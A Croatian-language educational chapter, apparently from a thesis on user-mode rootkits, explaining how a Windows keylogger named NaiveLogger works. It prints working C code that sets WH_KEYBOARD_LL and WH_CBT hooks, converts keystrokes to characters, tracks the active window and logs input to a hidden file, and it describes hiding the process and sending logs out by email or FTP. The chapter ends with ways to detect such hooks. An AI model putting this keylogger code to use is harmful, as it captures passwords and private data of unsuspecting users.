Rootkiti u korisničkom načinu rada - prikupljanje korisničkog unosa s tipkovnice (keylogger)

Iako je mehanizam ovdje pokazan na programu za kojeg je zaključeno da nije previše "koristan", nimalo ne treba podcijeniti "opasnost" mehanizma po sigurnost operacijskog sustava. Vrlo česta funkcionalnost programa za prikrivanje prisutnosti napadača je prikupljanje korisničkih lozinki i ostalih privatnih podataka. Na korisničkoj razini to se postiže upravo mehanizmom kuka (i na jezgrenoj također, ali se ne radi o doslovno istim kukama).

Windows operacijski sustav na raspolaganju ima dvije osnovne skupine kuka za rad s tipkovnicom: WH_KEYBOARD i WH_KEYBOARD_LL. Razlika između te dvije skupine je što posljednje navedena kuka radi na nešto nižoj razini nego prva (LL označava engl. Low Level) i može presresti unos koji se vrši primjerice u komandnoj liniji, dok prva kuka nema tu mogućnost. Postavljanjem kuke WH_KEYBOARD_LL moguće je presresti praktički sav unos koji korisnik vrši u operacijskom sustavu Windows putem tipkovnice. Iznimku predstavljaju virtualni operacijski sustavi u virtualizacijskoj aplikaciji iz kojih se ovim putem neće moći presretati unos, no sav drugi unos moguće je presresti i prikupljati.

Uzimajući u obzir prethodno navedene primjere i programe, napadač može jednostavno napraviti program koji će postaviti WH_KEYBOARD_LL kuku i prikupljati sav korisnički unos s tipkovnice. Kôd koji je ovdje prikazan djelomice je preuzet s CodeProject stranice [18D. Alon, Keyboard Spy: implementation and counter measures, svibanj 2005.] iako je znatno nadopunjen i mnogo dorađeniji. Sam unos predstavljen kao skup znakova unesenih s tipkovnice, sam za sebe nema prevelikog smisla već ga je poželjno staviti u odgovarajući kontekst. Primjerice, niz znakova "petar p1234" sam za sebe nema preveliku važnost, no ako napadač zna da je korisnik dotični niz znakova upisao u web preglednik i barem okvirno zna o kojoj se web stranici radilo, vrlo lako može zaključiti da se radi o korisničkom imenu i lozinki korisnika za dotičnu web stranicu.

Mehanizam funkcioniranja ove kuke vrlo je sličan mehanizmu funkcioniranja kuke WH_CBT, iako za ovu vrstu kuke nije nužno da se izvodi u kontekstu aplikacije koja izaziva događaj, tj. ova vrsta kuke i pripadna filtrirajuća funkcija ne moraju biti smještene u zasebnoj biblioteci dinamičke veze. U demonstracijskom programu je ipak korišten pristup gdje su kuka i filtrirajuća funkcija smještene u DLL datoteci jer je uz kuku WH_KEYBOARD_LL potrebno postaviti i kuku WH_CBT koja će poslužiti za određivanje trenutno aktivnog prozora, odnosno konteksta unesene skupine znakova. Budući da se WH_CBT kuka mora nalaziti u DLL datoteci, i druga kuka je radi jednostavnosti smještena u istu datoteku.

WH_KEYBOARD_LL kuka čeka na unos s tipkovnice i aktivira se prije nego se odgovarajući znak (ili kombinacija znakova, npr. shift + slovo, ctrl + alt + del i sl.) postavi u red čekanja trenutno aktivne aplikacije (točnije njene dretve koja izvršava petlju poruke). Aktivira se filtrirajuća procedura koja može promijeniti unos ili ga zabilježiti, a zatim se sam unos šalje u red čekanja aktivne aplikacije odakle ga aplikacija može pročitati i iskoristiti (primjerice prikazati na zaslonu).

Vrlo pojednostavljeni tok unosa s tipkovnice u operacijskom sustavu Windows prikazan je na slici desno:

Mehanizam umetanja WH_KEYBOARD_LL kuke

Sklopovski dio unosa znaka s tipkovnice i njegovog prikaza u sustavu sastoji se od kontrolera i8042 s kojim komunicira jezgra operacijskog sustava putem dva upravljačka programa prikazana na slici. Veza između jezgre i korisničkih aplikacija ostvarena je (uglavnom) preko funkcija iz user32.dll biblioteke koja je automatski uključena u sve aplikacije Win32 podsustava (to su sve aplikacije koje imaju prozor, dijalog ili neki slični objekt koji se može grafički prikazati). Kada na sustavu nije postavljena WH_KEYBOARD_LL kuka, unos s tipkovnice direktno se šalje u red čekanja aplikacije kojoj je unos namijenjen. Uz postavljenu kuku, unos ide zaobilaznim putem koji obuhvaća filtrirajuću proceduru dotične kuke iz koje je moguće pohraniti unos, odnosno poslati nekoj aplikaciji signal da je primljen novi znak.

Program koji postavlja kuku sastojat će se, kao i u prethodnom slučaju, pri razvijanju Naive – improved programa, od dva dijela – od tzv. radne (Worker) aplikacije i od same DLL datoteke u kojoj se nalaze filtrirajuće procedure i same kuke.

Korisnik pokretanjem radne aplikacije postavlja dvije prethodno navedene kuke: WH_CBT i WH_KEYBOARD_LL. Prva kuka služi za registriranje trenutno aktivne aplikacije (uz skrivanje procesa u Task manager aplikaciji koje je doslovno preuzeto iz prethodnog poglavlja). Svaki puta kada korisnik učini neku aplikaciju aktivnom (postavi ju u prvi plan klikom miša ili alt + tab odabirom), aktivirat će se odgovarajuća filtrirajuća procedura koja će radnoj aplikaciji (naravno, filtrirajuća procedura za WH_CBT kuku nalazi se u DLL datoteci i izvodi se u kontekstu aplikacije koja je postala aktivna) dojaviti promjenu trenutno aktivnog prozora:

LRESULT CALLBACK HookProc(int nCode, WPARAM wParam, LPARAM lParam) { ... //inače, ako se promijenio aktivni prozor else if(nCode == HCBT_SETFOCUS) //pošalji poruku Worker aplikaciji, prvi parametar je ručica na prozor koji je //postao aktivan. Drugi parametar je ručica na prozor koji je bio aktivan prije //aktiviranja kuke PostMessage(hDialog, UWM_FOCUSCHANGED, wParam, lParam); //uvijek je pristojno pozvati sljedeću kuku u nizu, iako to nije nužno return CallNextHookEx(hHook, nCode, wParam, lParam); }

UWM_FOCUSCHANGED je registrirana poruka koju prepoznaje Worker aplikacija i koja označava da je neki novi prozor postao aktivan. Ostatak kôda je dobro komentiran pa ga nije potrebno obrazlagati. Ostatak WH_CBT procedure HookProc() identičan je kao i u demonstracijskom programu iz prethodnog poglavlja, a odnosi se na prepoznavanje aktiviranja Task Manager aplikacije. Na ovaj način ovaj se program može skrivati u listi procesa (iako, kao što je pokazano, ne čini to na najbolji način), a istovremeno obavlja zloćudnu aktivnost prikupljanja korisničkog unosa s tipkovnice.

Kôd postavljanja WH_KEYBOARD_LL kuke prikazan je na sljedećem ispisu:

__declspec(dllexport) BOOL PostaviKeyLogHook(HWND hWnd) { if(hKeyHook != NULL) return false; //hook već postoji //tip kuke je WH_KEYBOARD_LL, kuka je globalna, a pri njenom aktiviranju poziva se //KeyLogProc procedura hKeyHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyLogProc, hDLLInstance, 0); //ako se nije dogodila nikakva pogreška pri postavljanju kuke postavi hDialog na hWnd, //što predstavlja Worker proces if(hKeyHook != NULL) { if(hDialog == NULL) hDialog = hWnd; return true; } return false; }

Odgovarajuća filtrirajuća procedura predstavlja najvažniji dio DLL biblioteke i sljedećeg je oblika:

LRESULT CALLBACK KeyLogProc(int nCode, WPARAM wParam, LPARAM lParam) { //WH_KEYBOARD_LL kuka ima posebnu strukturu podataka koja se prenosi pri aktiviranju same //kuke i ima sve potrebne podatke KBDLLHOOKSTRUCT *keyHookStruct; WORD transChar; char c; //ako nešto nije za nas, pozovi sljedeću kuku u nizu if(nCode < 0) return CallNextHookEx(hKeyHook, nCode, wParam, lParam); //ako se dogodila neka promjena, pritisak tipke ili nesto slično onda pokreni obradu if(nCode == HC_ACTION) { //kao drugi parametar filtrirajuće procedure prenosi se odgovarajuća struktura //KBDLLHOOKSTRUCT. keyHookStruct = (KBDLLHOOKSTRUCT *) lParam; //spremamo tzv. Virtual Key Code po kojem je moguće identificirati o kojoj se tipki //radi DWORD dwVkCode = keyHookStruct->vkCode; //ako se radi o tipki shift (bilo lijevoj bilo desno shift tipki) if((dwVkCode == VK_LSHIFT) || (dwVkCode == VK_RSHIFT)) { //i ako je tipka pritisnuta if((wParam == WM_SYSKEYDOWN) || (wParam == WM_KEYDOWN)) //pošalji poruku Worker aplikaciji gdje se kao prvi argument šalje //oznaka 's' = shift, a kao drugi parametar šalje se 'd' = down PostMessage(hDialog, UWM_KEYPRESSED, (WPARAM) 's', 'd'); else //inače je tipka otpuštena, pa pošalji sličnu poruku Worker aplikaciji PostMessage(hDialog, UWM_KEYPRESSED, (WPARAM) 's', 'u'); } //ne želimo dva puta pamtiti isti unos - u suštini ce se ova procedura pozvati za //bilo koju promjenu na tastaturi, a to znači i pritisak i otpuštanje tipke. //Želimo samo jednom zabilježiti znak, pa zato u slučaju otpuštanja tipke zovemo //sljedeću kuku u nizu i ne radimo ništa if((wParam == WM_KEYUP) || (wParam == WM_SYSKEYUP)) return CallNextHookEx(hKeyHook, nCode, wParam, lParam); //ako se radi o pritisku na tipku tab, enter ili backspace if(dwVkCode == VK_RETURN || dwVkCode == VK_TAB || dwVkCode == VK_BACK) //pošalji "signal" Worker aplikaciji PostMessage(hDialog, UWM_KEYPRESSED, (WPARAM) 'm', dwVkCode); else { //dohvati trenutno stanje s tipkovnice - nije sasvim pouzdano GetKeyboardState(keyState); //ako je pritisnut CAPS LOCK, onda ga "prisilno" postavljamo u našem byte //polju koje sadržava sve znakove s tipkovnice if(GetKeyState(VK_CAPITAL) /*& 0x8000*/) keyState[20] = 1; //prebaci Virtual KeyCode i Scan Code u običan ASCII znak, uzevši u obzir //prethodno namještena velika slova ToAscii(dwVkCode, keyHookStruct->scanCode, keyState, &transChar, 0); c = (char) transChar; //posalji Worker aplikaciji dotični znak PostMessage(hDialog, UWM_KEYPRESSED, (WPARAM) 'r', (LPARAM) c); } } return CallNextHookEx(hKeyHook, nCode, wParam, lParam); }

Sama funkcija je vrlo dobro komentirana, no potrebno je naglasiti ključne stvari. Kao parametar wParam filtrirajuće procedure predaje se trenutno "stanje" tipke, tj. da li je tipka pritisnuta ili otpuštena. Procedura će se pozvati svaki put kada se dogodi promjena stanja tipke, dakle i kad je tipka pritisnuta i kad je ista tipka otpuštena. Budući da ne želimo dva puta spremati isti znak, to u funkciji moramo na gore prikazan način spriječiti. Kao lParam parametar predaje se pokazivač na KBDLLHOOKSTRUCT strukturu koja prema MSDN ima sljedeći oblik:

typedef struct { DWORD vkCode; DWORD scanCode; DWORD flags; DWORD time; ULONG_PTR dwExtraInfo; } KBDLLHOOKSTRUCT, *PKBDLLHOOKSTRUCT;

Od svih članova strukture za ovo razmatranje važni su samo vkCode i scanCode koji sadržavaju virtualnu (softversku) i hardversku oznaku koja opisuje pritisnutu tipku. Ostali članovi sadržavaju zastavice, vremenske oznake i neke dodatne informacije o pritisnutoj tipci i nisu značajni pri presretanju i pohranjivanju upisa.

Najveći problem kod izgradnje ovakvog programa predstavljaju specijalni znakovi koji se moraju na odgovarajući način prepoznati i zapisati. Prikazani način gdje se posebno izdvaja tipka shift, posebno tipke tab, enter i backspace i posebno svi ostali znakovi možda nije najbolji, no načinjen je s namjerom da se korisnički unos na što vjerniji način zabilježi i prikaže. U svim slučajevima se Worker aplikaciji šalje odgovarajuća poruka koja sadržava primljeni znak ili oznaku koja opisuje o kojem se znaku radi.

Posebno treba voditi računa o velikim slovima uz pritisnutu tipku caps lock. Pretpostavlja se da je ta tipka određeno vrijeme pritisnuta (u WM_SYSKEYDOWN stanju) i da se neće događati brze promjene stanja te tipke, već da će duže vrijeme biti aktivna odnosno neaktivna. Uz takve pretpostavke, pri pritisku bilo koje tipke s tipkovnice (bez specijalnih znakova koje obrađujemo posebno) dohvaća se trenutno stanje tipkovnice. Dohvaćanje trenutnog stanja funkcijom GetKeyboardState() u općenitom slučaju nije pouzdano jer u trenutku kada se naša filtrirajuća procedura izvodi korisnik je već mogao otpustiti tipku koju je prije imao pritisnutu. Budući da latencija ima veliku ulogu, ova se funkcija treba koristiti samo u slučaju kada se s velikom vjerojatnošću može pretpostaviti da se stanje tipke/tipkovnice neće u vrlo malom vremenskom intervalu promijeniti, a za tipku caps lock to je razumna pretpostavka. Ukoliko je pritisnuta tipka caps lock, tada u našem polju svih virtualnih kôdova (njih 256) ručno postavljamo vrijednost te tipke na 1. Daljnjim konverzijama pretvaramo virtualni kôd (u varijabli dwVkCode) uz dotično polje keyState koje daje informacije o pritisnutim "specijalnim" tipkama u obični ASCII znak i šaljemo dotični znak (kao parametar lParam) Worker aplikaciji.

Worker aplikacija u svom direktoriju stvara (ili otvara već postojeću) datoteku log.txt u koju će zapisivati sve unesene znakove, uz dodatne informacije o vremenskom trenutku u kojem je zapis napravljen, aktivnoj aplikaciji i klasi njenog glavnog prozora, identifikatoru i nazivu procesa i trenutnom korisniku. Nakon postavljanja kuka Worker program čeka primitak odgovarajuće poruke u petlji poruke.

... else if(msg.message == UWM_KEYPRESSED) ObradiTipku(msg.wParam, msg.lParam); else if(msg.message == UWM_FOCUSCHANGED) hTrenutniAktivni = (HWND) msg.wParam; ...

U slučaju poruke UWM_FOCUSCHANGED aktivirala se filtrirajuća procedura WH_CBT kuke koja je poslala poruku o promjeni trenutno aktivnog prozora. U Worker aplikaciji mora se ažurirati ručica na trenutno aktivni prozor s wParam parametrom primljene poruke – u tom trenutku varijabla hTrenutniAktivni doista pokazuje na trenutno aktivni prozor.

U slučaju poruke UWM_KEYPRESSED presretnut je novi znak koji se treba obraditi pa se poziva odgovarajuća funkcija ObradiTipku().

Naravno, uz ove poruke, Worker aplikacija prima već poznatu poruku UWM_TASKMANCREAT koja pokreće skrivanje procesa.

Funkcija ObradiTipku() osnovna je funkcija Worker aplikacije koja vrši prepoznavanje tipki i spremanje unosa u datoteku log.txt. Sama funkcija, kao i sve ostale funkcije koje se iz nje pozivaju, jednostavne su, no i relativno duge pa se zbog nedostatka prostora njihov kôd neće navoditi, no zainteresirani čitatelj ga uvijek može pronaći na sljedećem linku.

Za strukturu podataka u kojoj se čuvaju primljeni znakovi odabrana je jednostruko povezana lista. U toj se listi čuva 128 znakova i kada se lista napuni, vrši se njeno pražnjenje u datoteku log.txt, dakle lista se koristi kao neka vrsta međuspremnika. Pražnjenje je moguće i prije vremena ako se promijeni trenutno aktivni prozor jer je tada potrebno zabilježiti sve što je bilo uneseno u prethodnom prozoru. Nakon prepoznavanja tipki (dokumentirano u samom kôdu) i popunjavanja liste, lista se prazni u datoteku. Uz svaki zapis navedeno je i pripadno zaglavlje koje se sastoji od već navedenih elemenata.

Sama aplikacija koja nosi naziv NaiveLogger dodaje se u sistemsku traku i moguće ju je u svakom trenutku ugasiti odabirom odgovarajuće opcije u kontekstnom meniju. Prikupljeni zapis postaje vidljiv tek nakon gašenja aplikacije, a sama datoteka ima svojstvo da je skrivena (engl. hidden file) pa će možda biti potrebno uključiti prikaz skrivenih datoteka i direktorija.

Primjer rada aplikacije dan je na slici.

Djelovanje Naive Logger aplikacije

Na slici je jasno vidljivo da je sav uneseni tekst uspješno prikupljen i pohranjen u datoteku log.txt, zajedno s informacijama o aplikacijama u kojima je bio upisan. Jasno je vidljivo da se lozinka za Gmail korisnički račun spremila u normalnom, vidljivom obliku. Zahvaljujući niskoj razini na kojoj WH_KEYBOARD_LL kuka djeluje, uspješno je zapisan i unos u komandnu liniju (iako se ponekad sam prozor neće ispravno detektirati, što je i logično, imajući na umu prethodno navedene napomene o specifičnostima prozora komandne linije).

Ovakva aplikacija predstavlja vrlo veliku opasnost po sigurnost računalnog sustava. Sve lozinke koje je korisnik unio, kao i brojevi kreditnih kartica i drugi privatni podaci, ovakvim prikupljanjem i pohranjivanjem postaju posve transparentni i na raspolaganju napadaču. Najčešće se u aplikaciju ugrađuje i mali poslužitelj elektroničke pošte ili FTP poslužitelj/klijent koji, nakon što veličina datoteke prijeđe neku zadanu granicu, šalje cjelokupnu datoteku na predefiniranu adresu elektroničke pošte ili FTP poslužitelja koje kontrolira napadač. Na ovaj način napadač uopće ne mora imati pristup sustavu, već mu zaraženi sustav "sam" šalje prikupljene informacije.

Ovako izvedenu aplikaciju koja pamti korisnički unos s tipkovnice nije teško otkriti jer se zasniva na mehanizmu Windows kuka koji je relativno jednostavno nadzirati. Sve dosad navedene opaske o sigurnosti vrijede i ovdje, dakle aplikacija za detekciju mora imati ispravnu listu procesa dobivenu iz pouzdanog izvora, mora nadgledati "sumnjive" sistemske pozive, poput SetWindowsHookEx() i dati korisniku povratnu informaciju o aplikaciji koja želi koristiti dotične funkcije. Također, ako aplikacija i posjeduje maleni poslužitelj elektroničke pošte, on je na korisničkoj razini, koja se trenutno razmatra, relativno lako uočljiv jer se lako otkriva i nadgleda promet koji će biti stvoren od strane te aplikacije. Neki autori zloćudnih programa koriste tehnike skrivanja zloćudnog prometa unutar neke legitimne aplikacije, no većina današnjih sigurnosnih zaštitnih stijena vrlo je osjetljiva na ubacivanje DLL biblioteka u dozvoljene aplikacije i općenito izvođenje bilo kojeg kôda u kontekstu dozvoljene aplikacije, pa je time autorima zloćudnih programa posao znatno otežan (za to postoje gotovi programi i testovi [19D. Matoušek, Firewall Leak - testing]).

Važno je napomenuti da svi dosad prikazani programi rade u korisničkom načinu rada i ne zahtijevaju administratorske privilegije. Sve naprednije tehnike kojima je donekle moguće izbjeći i sigurnosne zaštitne stijene i sav drugi zaštitni softver djeluju mnogo niže u sustavu, na razini jezgre, što neće biti obrađeno u ovom radu.

Natrag na vrh